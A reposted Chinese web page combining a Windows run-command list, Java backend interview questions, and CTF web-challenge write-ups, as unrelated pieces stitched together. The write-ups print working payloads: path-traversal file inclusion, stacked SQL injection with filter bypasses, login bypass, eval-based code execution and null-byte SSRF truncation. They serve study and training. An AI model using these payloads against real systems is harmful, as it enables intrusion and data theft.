45.mem.exe：显示内存使用情况(如果直接运行无效，可以先管理员身份运行命令提示符，在命令提示符里输入mem.exe>d:a.txt 即可打开d盘查看a.txt，里面的就是内存使用情况了。当然什么盘什么文件名可自己决定。) 46.MdSched:Windows内存诊断程序 47.mmc：打开控制台 48.mobsync：同步命令 49.mplayer2：简易widnows media player 50.Msconfig.exe：系统配置实用程序 51.msdt：微软支持诊断工具 52.msinfo32：系统信息 53.mspaint：画图 54.Msra：Windows远程协助 55.mstsc：远程桌面连接 56.NAPCLCFG.MSC：客户端配置 57.ncpa.cpl：网络连接 58.narrator：屏幕“讲述人” 59.Netplwiz：高级用户帐户控制面板，设置登陆安全相关的选项 60.netstat : an(TC)命令检查接口 61.notepad：打开记事本 62.Nslookup：IP地址侦测器 63.odbcad32：ODBC数据源管理器 64.OptionalFeatures：打开“打开或关闭Windows功能”对话框 65.osk：打开屏幕键盘 66.perfmon.msc：计算机性能监测器 67.perfmon：计算机性能监测器 68.PowerShell：提供强大远程处理能力 69.printmanagement.msc：打印管理 70.powercfg.cpl：电源选项 71.psr：问题步骤记录器 72.Rasphone：网络连接 73.Recdisc：创建系统修复光盘 74.Resmon：资源监视器 75.Rstrui：系统还原 76.regedit.exe：注册表 77.regedt32：注册表编辑器 78.rsop.msc：组策略结果集 79.sdclt：备份状态与配置，就是查看系统是否已备份 80.secpol.msc：本地安全策略 81.services.msc：本地服务设置 82.sfc /scannow：扫描错误并复原/windows文件保护 83.sfc.exe：系统文件检查器 84.shrpubw：创建共享文件夹 85.sigverif：文件签名验证程序 86.slui：Windows激活，查看系统激活信息 87.slmgr.vbs -dlv ：显示详细的许可证信息 88.snippingtool：截图工具，支持无规则截图 89.soundrecorder：录音机，没有录音时间的限制 90.StikyNot：便笺 91.sysdm.cpl：系统属性 92.sysedit：系统配置编辑器 93.syskey：系统加密，一旦加密就不能解开，保护系统的双重密码 94.taskmgr：任务管理器(旧版) 95.TM任务管理器(新版) 96.taskschd.msc：任务计划程序 97.timedate.cpl：日期和时间 98.UserAccountControlSettings用户账户控制设置 99.utilman：辅助工具管理器 100.wf.msc：高级安全Windows防火墙 101.WFS：Windows传真和扫描 102.wiaacmgr：扫描仪和照相机向导 103.winver：关于Windows 104.wmimgmt.msc：打开windows管理体系结构(WMI) 105.write：写字板 106.wscui.cpl：操作中心 107.wuapp：Windows更新 108.wscript：windows脚本宿主设置 六、小结 键盘快捷键会大大提高使用效率，让你在外行面前显得更酷。持续更新中…感谢点赞，评论与转发，谢谢！ 本篇文章为转载内容。原文链接：https://blog.csdn.net/weixin_44168588/article/details/121208530。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...以及常见的参数 数据结构基本都问了一遍：链表、队列等 Java内存模型：常问的JVM分代模型，以及JDK1.8后的区别，最后还问了JVM相关的调优参数 分布式锁的实现比较技术 一面题目 自我介绍 擅长哪方面的技术？ java有哪些锁中类？（乐观锁&悲观锁、可重入锁&Synchronize等）。 比较重要的数据结构，如链表，队列，栈的基本原理及大致实现 J.U.C下的常见类的使用。Threadpool的深入考察；blockingQueue的使用 Java内存分代模型，GC算法，JVM常见的启动参数；CMS算法的过程。 Volatile关键字有什么用（包括底层原理） 线程池的调优策略 Spring cloud的服务注册与发现是怎么设计的？ 分布式系统的全局id如何实现 分布式锁的方案，redis和zookeeper那个好，如果是集群部署，高并发情况下那个性能更好。 1.2 Java中间件二面 技术二面考察范围： 问了项目相关的技术实现细节 数据库相关：索引、索引底层实现、mysql相关的行锁、表锁等 redis相关：架构设计、数据一致性问题 容器:容器的设计原理等技术 二面题目： 参与的项目，选一个，技术难度在哪里？ Collections.sort底层排序方式 负载均衡的原理设计模式与重构，谈谈你对重构的理解 谈谈redis相关的集群有哪些成熟方案？ 再谈谈一致hash算法（redis）？ 数据库索引，B+树的特性和建树过程 Mysql相关的行锁，表锁；乐观锁，悲观锁 谈谈多线程和并发工具的使用 谈谈redis的架构和组件 Redis的数据一致性问题（分布式多节点环境&单机环境） Docker容器 1.3 Java中间件三面 技术三面考察范围： 主要谈到了高并发的实现方案 以及中间件：redis、rocketmq、kafka等的架构设计思路 最后问了平时怎么提升技术的技术 三面题目 高并发情况下，系统是如何支撑大量的请求的？ 接着上面的问题，延伸到了中间件，kafka、redis、rocketmq、mycat等设计思路和适用场景等 最近上过哪些技术网站；最近再看那些书。 工作和生活中遇见最大的挑战，怎么去克服？ 未来有怎样的打算 1.4 Java中间件四面 最后，你懂的，主要就是HR走流程了，主要问了未来的职业规划。 02 头条Java后台3面 2.1 头条一面 讲讲jvm运行时数据库区 讲讲你知道的垃圾回收算法 jvm内存模型jmm 内存泄漏与内存溢出的区别 select、epool 的区别？底层的数据结构是什么？ mysql数据库默认存储引擎，有什么优点 优化数据库的方法，从sql到缓存到cpu到操作系统，知道多少说多少 什么情景下做分表，什么情景下做分库 linkedList与arrayList区别 适用场景 array list是如何扩容的 volatile 关键字的作用？Java 内存模型？ java lock的实现，公平锁、非公平锁 悲观锁和乐观锁，应用中的案例，mysql当中怎么实现，java中的实现 2.2 头条二面 Java 内存分配策略？ 多个线程同时请求内存，如何分配？ Redis 底层用到了哪些数据结构？ 使用 Redis 的 set 来做过什么？ Redis 使用过程中遇到什么问题？ 搭建过 Redis 集群吗？ 如何分析“慢查询”日志进行 SQL/索引 优化？ MySQL 索引结构解释一下？（B+ 树） MySQL Hash 索引适用情况？举下例子？ 2.3 头条三面 如何保证数据库与redis缓存一致的Redis 的并发竞争问题是什么？ 如何解决这个问题？ 了解 Redis 事务的 CAS 方案吗？ 如何保证 Redis 高并发、高可用？ Redis 的主从复制原理，以及Redis 的哨兵原理？ 如果让你写一个消息队列，该如何进行架构设计啊？说一下你的思路。 MySQL数据库主从同步怎么实现？ 秒杀模块怎么设计的，如何压测，抗压手段 03 今日头条Java后台研发三面 3.1 一面 concurrent包下面用过哪些？ countdownlatch功能实现 synchronized和lock区别，重入锁thread和runnable的区别 AtomicInteger实现原理(CAS自旋) java并发sleep与wait、notify与notifyAll的区别 如何实现高效的同步链表 java都有哪些加锁方式（synchronized、ReentrantLock、共享锁、读写锁等） 设计模式（工厂模式、单例模式（几种情况）、适配器模式、装饰者模式） maven依赖树，maven的依赖传递，循环依赖 3.2 二面 synchronized和reentrantLock的区别，synchronized用在代码快、方法、静态方法时锁的都是什么? 介绍spring的IOC和AOP，分别如何实现(classloader、动态代理)JVM的内存布局以及垃圾回收原理及过程 讲一下，讲一下CMS垃圾收集器垃圾回收的流程，以及CMS的缺点 redis如何处理分布式服务器并发造成的不一致OSGi的机制spring中bean加载机制，bean生成的具体步骤，ioc注入的方式spring何时创建- applicationContextlistener是监听哪个事件？ 介绍ConcurrentHashMap原理，用的是哪种锁，segment有没可能增大? 解释mysql索引、b树，为啥不用平衡二叉树、红黑树 Zookeeper如何同步配置 3.3 三面 Java线程池ThreadPoolEcecutor参数，基本参数，使用场景 MySQL的ACID讲一下，延伸到隔离级别 dubbo的实现原理，说说RPC的要点 GC停顿原因，如何降低停顿？ JVM如何调优、参数怎么调？ 如何用工具分析jvm状态（visualVM看堆中对象的分配，对象间的引用、是否有内存泄漏，jstack看线程状态、是否死锁等等） 描述一致性hash算法 分布式雪崩场景如何避免? 再谈谈消息队列 04 抖音Java 三面 4.1 一面： hashmap，怎么扩容，怎么处理数据冲突？ 怎么高效率的实现数据迁移？ Linux的共享内存如何实现，大概说了一下。 socket网络编程，说一下TCP的三次握手和四次挥手同步IO和异步IO的区别？ Java GC机制？GC Roots有哪些？ 红黑树讲一下，五个特性，插入删除操作,时间复杂度？ 快排的时间复杂度，最坏情况呢，最好情况呢，堆排序的时间复杂度呢，建堆的复杂度是多少 4.2 二面： 自我介绍，主要讲讲做了什么和擅长什么 设计模式了解哪些？ AtomicInteger怎么实现原子修改的？ ConcurrentHashMap 在Java7和Java8中的区别？ 为什么Java8并发效率更好？什么情况下用HashMap，什么情况用ConcurrentHashMap？ redis数据结构？ redis数据淘汰机制？ 4.3 三面（约五十分钟）： mysql实现事务的原理(MVCC) MySQL数据主从同步是如何实现的？ MySQL索引的实现，innodb的索引，b+树索引是怎么实现的，为什么用b+树做索引节点，一个节点存了多少数据，怎么规定大小，与磁盘页对应。 如果Redis有1亿个key，使用keys命令是否会影响线上服务？ Redis的持久化方式，aod和rdb，具体怎么实现，追加日志和备份文件，底层实现原理的话知道么? 遇到最大困难是什么？怎么克服？ 未来的规划是什么？ 你想问我什么？ 05 百度三面 5.1 百度一面 自我介绍 Java中的多态 为什么要同时重写hashcode和equals Hashmap的原理 Hashmap如何变线程安全，每种方式的优缺点 垃圾回收机制 Jvm的参数你知道的说一下 设计模式了解的说一下啊 手撕一个单例模式 手撕算法：反转单链表 手撕算法：实现类似微博子结构的数据结构，输入一系列父子关系，输出一个类似微博评论的父子结构图 手写java多线程 手写java的soeket编程，服务端和客户端 手撕算法： 爬楼梯，写出状态转移方程 智力题：时针分针什么时候重合 5.2 百度二面（现场） 自我介绍 项目介绍 服务器如何负载均衡，有哪些算法，哪个比较好，一致性哈希原理，怎么避免DDOS攻击请求打到少数机器。 TCP连接中的三次握手和四次挥手，四次挥手的最后一个ack的作用是什么，为什么要time wait，为什么是2msl。 数据库的备份和恢复怎么实现的，主从复制怎么做的，什么时候会出现数据不一致，如何解决。 Linux查看cpu占用率高的进程 手撕算法：给定一个数字三角形，找到从顶部到底部的最小路径和。每一步可以移动到下面一行的相邻数字上。 然后继续在这个问题上扩展 求出最短那条的路径 递归求出所有的路径 设计模式讲一下熟悉的 会不会滥用设计模式 多线程条件变量为什么要在while体里 你遇到什么挫折，怎么应对和处理 5.3 百度三面（现场） 自我介绍 项目介绍 Redis的特点 Redis的持久化怎么做，aof和rdb，有什么区别，有什么优缺点。 Redis使用哨兵部署会有什么问题，我说需要扩容的话还是得集群部署。 说一下JVM内存模型把，有哪些区，分别干什么的 说一下gc算法，分代回收说下 MySQL的引擎讲一下，有什么区别，使用场景呢 分布式事务了解么 反爬虫的机制，有哪些方式 06 蚂蚁中间件团队面试题 6.1 蚂蚁中间件一面： 自我介绍 JVM垃圾回收算法和垃圾回收器有哪些，最新的JDK采用什么算法。 新生代和老年代的回收机制。 讲一下ArrayList和linkedlist的区别，ArrayList与HashMap的扩容方式。 Concurrenthashmap1.8后的改动。 Java中的多线程，以及线程池的增长策略和拒绝策略了解么。 Tomcat的类加载器了解么 Spring的ioc和aop，Springmvc的基本架构，请求流程。 HTTP协议与Tcp有什么区别，http1.0和2.0的区别。 Java的网络编程，讲讲NIO的实现方式，与BIO的区别，以及介绍常用的NIO框架。 索引什么时候会失效变成全表扫描 介绍下分布式的paxos和raft算法 6.2 蚂蚁中间件二面 你在项目中怎么用到并发的。 消息队列的使用场景，谈谈Kafka。 你说了解分布式服务，那么你怎么理解分布式服务。 Dubbo和Spring Clound的区别，以及使用场景。 讲一下docker的实现原理，以及与JVM的区别。 MongoDB、Redis和Memcached的应用场景，各自优势 MongoDB有事务吗 Redis说一下sorted set底层原理 讲讲Netty为什么并发高，相关的核心组件有哪些 6.3 蚂蚁中间件三面 完整的画一个分布式集群部署图，从负载均衡到后端数据库集群。 分布式锁的方案，Redis和Zookeeper哪个好，如果是集群部署，高并发情况下哪个性能更好。 分布式系统的全局id如何实现。 数据库万级变成亿级，你如何来解决。 常见的服务器雪崩是由什么引起的，如何来防范。 异地容灾怎么实现 常用的高并发技术解决方案有哪些，以及对应的解决步骤。 07 京东4面(Java研发） 7.1 一面（基础面：约1小时） 自我介绍，主要讲讲做了什么和擅长什么 springmvc和spring-boot区别 @Autowired的实现原理 Bean的默认作用范围是什么？其他的作用范围？ 索引是什么概念有什么作用？MySQL里主要有哪些索引结构？哈希索引和B+树索引比较？ Java线程池的原理？线程池有哪些？线程池工厂有哪些线程池类型，及其线程池参数是什么？ hashmap原理，处理哈希冲突用的哪种方法？ 还知道什么处理哈希冲突的方法？ Java GC机制？GC Roots有哪些？ Java怎么进行垃圾回收的？什么对象会进老年代？垃圾回收算法有哪些？为什么新生代使用复制算法？ HashMap的时间复杂度？HashMap中Hash冲突是怎么解决的？链表的上一级结构是什么？Java8中的HashMap有什么变化？红黑树需要比较大小才能进行插入，是依据什么进行比较的？其他Hash冲突解决方式？ hash和B+树的区别？分别应用于什么场景？哪个比较好？ 项目里有个数据安全的，aes和md5的区别？详细点 7.2 二面（问数据库较多） 自我介绍 为什么MyISAM查询性能好？ 事务特性（acid） 隔离级别 SQL慢查询的常见优化步骤？ 说下乐观锁，悲观锁（select for update），并写出sql实现 TCP协议的三次握手和四次挥手过程？ 用到过哪些rpc框架 数据库连接池怎么实现 Java web过滤器的生命周期 7.3 三面（综合面；约一个小时） 自我介绍。 ConcurrentHashMap 在Java7和Java8中的区别？为什么Java8并发效率更好？什么情况下用HashMap，什么情况用ConcurrentHashMap？ 加锁有什么机制？ ThreadLocal？应用场景？ 数据库水平切分，垂直切分的设计思路和切分顺序 Redis如何解决key冲突 soa和微服务的区别？ 单机系统演变为分布式系统，会涉及到哪些技术的调整？请从前面负载到后端详细描述。 设计一个秒杀系统？ 7.4 四面（HR面） 你自己最大优势和劣势是什么 平时遇见过什么样的挑战，怎么去克服的 工作中遇见了技术解决不了的问题，你的应对思路？ 你的兴趣爱好？ 未来的职业规划是什么？ 08 美团java高级开发3面 8.1 美团一面 自我介绍 项目介绍 Redis介绍 了解redis源码么 了解redis集群么 Hashmap的原理，增删的情况后端数据结构如何位移 hashmap容量为什么是2的幂次 hashset的源码 object类你知道的方法 hashcode和equals 你重写过hashcode和equals么，要注意什么 假设现在一个学生类，有学号和姓名，我现在hashcode方法重写的时候，只将学号参与计算，会出现什么情况？ 往set里面put一个学生对象，然后将这个学生对象的学号改了，再put进去，可以放进set么？并讲出为什么 Redis的持久化？有哪些方式，原理是什么？ 讲一下稳定的排序算法和不稳定的排序算法 讲一下快速排序的思想 8.2 美团二面 自我介绍 讲一下数据的acid 什么是一致性 什么是隔离性 Mysql的隔离级别 每个隔离级别是如何解决 Mysql要加上nextkey锁，语句该怎么写 Java的内存模型，垃圾回收 线程池的参数 每个参数解释一遍 然后面试官设置了每个参数，给了是个线程，让描述出完整的线程池执行的流程 Nio和IO有什么区别 Nio和aio的区别 Spring的aop怎么实现 Spring的aop有哪些实现方式 动态代理的实现方式和区别 Linux了解么 怎么查看系统负载 Cpu load的参数如果为4，描述一下现在系统处于什么情况 Linux，查找磁盘上最大的文件的命令 Linux，如何查看系统日志文件 手撕算法：leeetcode原题 22，Generate Parentheses，给定 n 对括号，请- 写一个函数以将其生成新的括号组合，并返回所有组合结果。 8.3 美团三面（现场） 三面没怎么问技术，问了很多技术管理方面的问题 自我介绍 项目介绍 怎么管理项目成员 当意见不一致时，如何沟通并说服开发成员，并举个例子 怎么保证项目的进度 数据库的索引原理 非聚簇索引和聚簇索引 索引的使用注意事项 联合索引 从底层解释最左匹配原则 Mysql对联合索引有优化么？会自动调整顺序么？哪个版本开始优化？ Redis的应用 Redis的持久化的方式和原理 技术选型，一个新技术和一个稳定的旧技术，你会怎么选择，选择的考虑有哪些 说你印象最深的美团点评技术团队的三篇博客 最近在学什么新技术 你是怎么去接触一门新技术的 会看哪些书 怎么选择要看的书 最后 由于篇幅限制，小编在此截出几张知识讲解的图解，有需要的程序猿（媛）可以点赞后戳这里免费领取全部资料获取哦 子 怎么保证项目的进度 数据库的索引原理 非聚簇索引和聚簇索引 索引的使用注意事项 联合索引 从底层解释最左匹配原则 Mysql对联合索引有优化么？会自动调整顺序么？哪个版本开始优化？ Redis的应用 Redis的持久化的方式和原理 技术选型，一个新技术和一个稳定的旧技术，你会怎么选择，选择的考虑有哪些 说你印象最深的美团点评技术团队的三篇博客 最近在学什么新技术 你是怎么去接触一门新技术的 会看哪些书 怎么选择要看的书 最后 由于篇幅限制，小编在此截出几张知识讲解的图解，有需要的程序猿（媛）可以点赞后戳这里免费领取全部资料获取哦 [外链图片转存中…(img-SFREePIJ-1624074891834)] [外链图片转存中…(img-5kF3pkiC-1624074891834)] [外链图片转存中…(img-HDVXfOMR-1624074891835)] [外链图片转存中…(img-RyaAC5jy-1624074891836)] [外链图片转存中…(img-iV32C5Ok-1624074891837)] 本篇文章为转载内容。原文链接：https://blog.csdn.net/m0_57285325/article/details/118051767。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

... 2019]EasySQL [GYCTF2020]Blacklist [GKCTF2020]cve版签到 GXYCTF2019禁止套娃 [De1CTF 2019]SSRF Me [极客大挑战 2019]EasySQL [极客大挑战 2019]Havefun [极客大挑战 2019]Secret File [ACTF2020 新生赛]Include 2018]easy_tornado [极客大挑战 2019]LoveSQL [GXYCTF2019]Ping Ping Ping [RoarCTF 2019]Easy Calc [极客大挑战 2019]Knife [ACTF2020 新生赛]Exec [极客大挑战 2019]PHP [极客大挑战 2019]Http [HCTF 2018]admin [极客大挑战 2019]BabySQL [HCTF 2018]WarmUp 这里补充一个知识点：phpmyadmin 4.8.1任意文件包含 环境我已经启动了 去访问一下 源码有提示 去访问一下 然后看到了源码 <?phphighlight_file(__FILE__);class emmm{public static function checkFile(&$page){$whitelist = ["source"=>"source.php","hint"=>"hint.php"];if (! isset($page) || !is_string($page)) {echo "you can't see it";return false;}if (in_array($page, $whitelist)) {return true;}$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;} }if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])) {include $_REQUEST['file'];exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";} ?> 这里白名单里给了一个提示 尝试直接去访问它 报错了… 尝试穿越目录去访问 依然报错了 看源码吧 <?phphighlight_file(__FILE__);class emmm{public static function checkFile(&$page){$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//这里是提供了两个白名单if (! isset($page) || !is_string($page)) {echo "you can't see it";return false;}if (in_array($page, $whitelist)) {return true;}$_page = mb_substr( //返回中文字符串的一部分$page,0,mb_strpos($page . '?', '?') //我们输入flag 但其实它在你的字符串后面加了一个问号，然后返回问号的位置，就是=4//所以想绕过这里，直接?flag，他检测到的问号就是0，然后0，0没有执行 就绕过了);if (in_array($_page, $whitelist)) { //检测是不是在白名单/hint.php?flag 进行绕过 进行目录穿越就可以了return true;}$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;} }//上面是定义了一个类if (! empty($_REQUEST['file']) //如果变量不存在的话，empty()并不会产生警告。 && is_string($_REQUEST['file']) //必须是字符串&& emmm::checkFile($_REQUEST['file']) //上面的那个类) {include $_REQUEST['file']; //就包含这个文件 参数也就是fileexit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";} ?> 所以 最后就是 这样 ?file=hint.php?../../../../../../../../ffffllllaaaagggg 就得到了flag flag{acbbba26-c81b-4603-bcb7-25f78adeab18} [强网杯 2019]随便注 进入题目链接 1.输入：1' 查看注入类型 所以他的sql语句是单引号过滤 2.查看字段 （为2） 1' order by 2 3.显示回显 1' union select 1,2 相当于告诉了我们它的过滤 尝试用堆叠查询试试了 4.查库 1;show database(); 5.查表 1';show tables; 所以是有两个表 1919810931114514 words 6.查列 1';show columns from words; 表名words需要被 这个符号包起来，这个符号是 esc下面一个的按键，这个符号在mysql里 用于 分割其他命令，表示此为（表名、字段名） 1';show columns from 1919810931114514; 看到flag了!!! 那么如何查询到数据呢？ select 函数被过滤了，其实mysql的函数有很多 这里通过 MYSQL的预处理语句，使用 : concat（'s','elect',' from 1919810931114514'） 完成绕过 构造pyload： 1';PREPARE test from concat('s','elect',' from 1919810931114514');EXECUTE test; flag{3b3d8fa2-2348-4d6b-81af-017ca90e6c81} [SUCTF 2019]EasySQL 环境我已经启动了 进入题目链接 老套路 先看看源码里面有什么东西 不出意料的什么都没有 但是提示我们它是POST传参 这是一道SQL注入的题目 不管输入什么数字，字母 都是这的 没有回显 但是输入:0没有回显 不知道为啥 而且输入:1' 也不报错 同样是没有回显 尝试注入时 显示Nonono. 也就是说，没有回显，联合查询基本没戏。 好在页面会进行相应的变化，证明注入漏洞肯定是有的。 而且注入点就是这个POST参数框 看了大佬的WP 才想起来 还有堆叠注入 堆叠注入原理 在SQL中，分号（;）是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句，会不会一起执行？因此这个想法也就造就了堆叠注入。而union injection（联合注入）也是将两条语句合并在一起，两者之间有什么区别么？区别就在于union 或者union all执行的语句类型是有限的，可以用来执行查询语句，而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入：1; DELETE FROM products服务器端生成的sql语句为：（因未对输入的参数进行过滤）Select from products where productid=1;DELETE FROM products当执行查询后，第一条显示查询信息，第二条则将整个表进行删除。 1;show databases; 1;show tables; 1;use ctf;show tables; 跑字典时 发现了好多的过滤 哭了 没有办法… 看到上面主要是有两中返回，一种是空白，一种是nonono。 在网上查writeup看到 输入1显示:Array ( [0] => 1 )输入a显示:空白输入所有非0数字都显示:Array ( [0] => 1 )输入所有字母（除过滤的关键词外）都显示空白 可以推测题目应该是用了||符号。 推测出题目应该是select $_post[value] || flag from Flag。 这里 就有一个符号|| 当有一边为数字时 运算结果都为 true 返回1 使用 || 运算符，不在是做或运算 而是作为拼接字符串的作用 在oracle 缺省支持 通过 || 来实现字符串拼接，但在mysql 缺省不支持 需要调整mysql 的sql_mode 模式：pipes_as_concat 来实现oracle 的一些功能。 这个意思是在oracle中 || 是作为字符串拼接，而在mysql中是运算符。 当设置sql_mode为pipes_as_concat的时候，mysql也可以把 || 作为字符串拼接。 修改完后，|| 就会被认为是字符串拼接符 MySQL中sql_mode参数，具体的看这里 解题思路1： payload：,1 查询语句：select ,1||flag from Flag 解题思路2： 堆叠注入，使得sql_mode的值为PIPES_AS_CONCAT payload:1;set sql_mode=PIPES_AS_CONCAT;select 1 解析： 在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接。但在mysql 缺省不支持。需要调整mysql 的sql_mode模式：pipes_as_concat 来实现oracle 的一些功能。 flag出来了 头秃 不是很懂 看了好多的wp… [GYCTF2020]Blacklist 进入题目链接 1.注入：1’ 为'闭合 2.看字段：1' order by 2 确认字段为2 3.查看回显:1’ union select 1,2 发现过滤字符 与上面的随便注很像 ，太像了，增加了过滤规则。 修改表名和set均不可用，所以很直接的想到了handler语句。 4.但依旧可以用堆叠注入获取数据库名称、表名、字段。 1';show databases 获取数据库名称1';show tables 获取表名1';show columns from FlagHere ; 或 1';desc FlagHere; 获取字段名 5.接下来用 handler语句读取内容。 1';handler FlagHere open;handler FlagHere read first 直接得到 flag 成功解题。 flag{d0c147ad-1d03-4698-a71c-4fcda3060f17} 补充handler语句相关。 mysql除可使用select查询表中的数据，也可使用handler语句 这条语句使我们能够一行一行的浏览一个表中的数据，不过handler语句并不 具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中 [GKCTF2020]cve版签到 查看提示 菜鸡的第一步 提示了：cve-2020-7066 赶紧去查了一下 cve-2020-7066PHP 7.2.29之前的7.2.x版本、7.3.16之前的7.3.x版本和7.4.4之前的7.4.x版本中的‘get_headers()’函数存在安全漏洞。攻击者可利用该漏洞造成信息泄露。 描述在低于7.2.29的PHP版本7.2.x，低于7.3.16的7.3.x和低于7.4.4的7.4.x中，将get_headers（）与用户提供的URL一起使用时，如果URL包含零（\ 0）字符，则URL将被静默地截断。这可能会导致某些软件对get_headers（）的目标做出错误的假设，并可能将某些信息发送到错误的服务器。 利用方法 总的来说也就是get_headers()可以被%00截断 进入题目链接 知识点： cve-2020-7066利用 老套路：先F12查看源码 发现提示：Flag in localhost 根据以上 直接上了 直接截断 因为提示host必须以123结尾，这个简单 所以需要将localhost替换为127.0.0.123 成功得到flag flag{bf1243d2-08dd-44ee-afe8-45f58e2d6801} GXYCTF2019禁止套娃 考点： .git源码泄露 无参RCE localeconv() 函数返回一包含本地数字及货币格式信息的数组。scandir() 列出 images 目录中的文件和目录。readfile() 输出一个文件。current() 返回数组中的当前单元, 默认取第一个值。pos() current() 的别名。next() 函数将内部指针指向数组中的下一个元素，并输出。array_reverse()以相反的元素顺序返回数组。highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码。 具体细节，看这里 进入题目链接 上御剑扫目录 发现是.git源码泄露 上githack补全源码 得到源码 <?phpinclude "flag.php";echo "flag在哪里呢？<br>";if(isset($_GET['exp'])){if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {// echo $_GET['exp'];@eval($_GET['exp']);}else{die("还差一点哦！");} }else{die("再好好想想！");} }else{die("还想读flag，臭弟弟！");} }// highlight_file(__FILE__);?> 既然getshell基本不可能，那么考虑读源码 看源码，flag应该就在flag.php 我们想办法读取 首先需要得到当前目录下的文件 scandir()函数可以扫描当前目录下的文件，例如： <?phpprint_r(scandir('.'));?> 那么问题就是如何构造scandir('.') 这里再看函数： localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是. current() 返回数组中的当前单元, 默认取第一个值。 pos() current() 的别名。 这里还有一个知识点： current(localeconv())永远都是个点 那么就很简单了 print_r(scandir(current(localeconv())));print_r(scandir(pos(localeconv()))); 第二步：读取flag所在的数组 之后我们利用array_reverse() 将数组内容反转一下，利用next()指向flag.php文件==>highlight_file()高亮输出 payload: ?exp=show_source(next(array_reverse(scandir(pos(localeconv()))))); [De1CTF 2019]SSRF Me 首先得到提示 还有源码 进入题目链接 得到一串py 经过整理后 ! /usr/bin/env pythonencoding=utf-8from flask import Flaskfrom flask import requestimport socketimport hashlibimport urllibimport sysimport osimport jsonreload(sys)sys.setdefaultencoding('latin1')app = Flask(__name__)secert_key = os.urandom(16)class Task:def __init__(self, action, param, sign, ip):python得构造方法self.action = actionself.param = paramself.sign = signself.sandbox = md5(ip)if(not os.path.exists(self.sandbox)): SandBox For Remote_Addros.mkdir(self.sandbox)def Exec(self):定义的命令执行函数，此处调用了scan这个自定义的函数result = {}result['code'] = 500if (self.checkSign()):if "scan" in self.action:action要写scantmpfile = open("./%s/result.txt" % self.sandbox, 'w')resp = scan(self.param) 此处是文件读取得注入点if (resp == "Connection Timeout"):result['data'] = respelse:print resp 输出结果tmpfile.write(resp)tmpfile.close()result['code'] = 200if "read" in self.action:action要加readf = open("./%s/result.txt" % self.sandbox, 'r')result['code'] = 200result['data'] = f.read()if result['code'] == 500:result['data'] = "Action Error"else:result['code'] = 500result['msg'] = "Sign Error"return resultdef checkSign(self):if (getSign(self.action, self.param) == self.sign): !!!校验return Trueelse:return Falsegenerate Sign For Action Scan.@app.route("/geneSign", methods=['GET', 'POST']) !!!这个路由用于测试def geneSign():param = urllib.unquote(request.args.get("param", "")) action = "scan"return getSign(action, param)@app.route('/De1ta',methods=['GET','POST'])这个路由是我萌得最终注入点def challenge():action = urllib.unquote(request.cookies.get("action"))param = urllib.unquote(request.args.get("param", ""))sign = urllib.unquote(request.cookies.get("sign"))ip = request.remote_addrif(waf(param)):return "No Hacker!!!!"task = Task(action, param, sign, ip)return json.dumps(task.Exec())@app.route('/')根目录路由，就是显示源代码得地方def index():return open("code.txt","r").read()def scan(param):这是用来扫目录得函数socket.setdefaulttimeout(1)try:return urllib.urlopen(param).read()[:50]except:return "Connection Timeout"def getSign(action, param):!!!这个应该是本题关键点,此处注意顺序先是param后是actionreturn hashlib.md5(secert_key + param + action).hexdigest()def md5(content):return hashlib.md5(content).hexdigest()def waf(param):这个waf比较没用好像check=param.strip().lower()if check.startswith("gopher") or check.startswith("file"):return Trueelse:return Falseif __name__ == '__main__':app.debug = Falseapp.run(host='0.0.0.0') 相关函数 作用 init(self, action, param, …) 构造方法self代表对象,其他是对象的属性 request.args.get(param) 提取get方法传入的，参数名叫param对应得值 request.cookies.get(“action”) 提取cookie信息中的，名为action得对应值 hashlib.md5().hexdigest() hashlib.md5()获取一个md5加密算法对象，hexdigest()是获得加密后的16进制字符串 urllib.unquote(） 将url编码解码 urllib.urlopen() 读取网络文件参数可以是url json.dumps Python 对象编码成 JSON 字符串 这个题先放一下… [极客大挑战 2019]EasySQL 进入题目链接 直接上万能密码 用户随意 admin1' or 1; 得到flag flag{7fc65eb6-985b-494a-8225-de3101a78e89} [极客大挑战 2019]Havefun 进入题目链接 老套路 去F12看看有什么东西 很好 逮住了 获取FLAG的条件是cat=dog，且是get传参 flag就出来了 flag{779b8bac-2d64-4540-b830-1972d70a2db9} [极客大挑战 2019]Secret File 进入题目链接 老套路 先F12查看 发现超链接 直接逮住 既然已经查阅结束了 中间就肯定有一些我们不知道的东西 过去了 上burp看看情况 我们让他挺住 逮住了：secr3t.php 访问一下 简单的绕过 就可以了 成功得到一串字符 进行base解密即可 成功逮住flag flag{ed90509e-d2d1-4161-ae99-74cd27d90ed7} [ACTF2020 新生赛]Include 根据题目信息 是文件包含无疑了 直接点击进来 用php伪协议 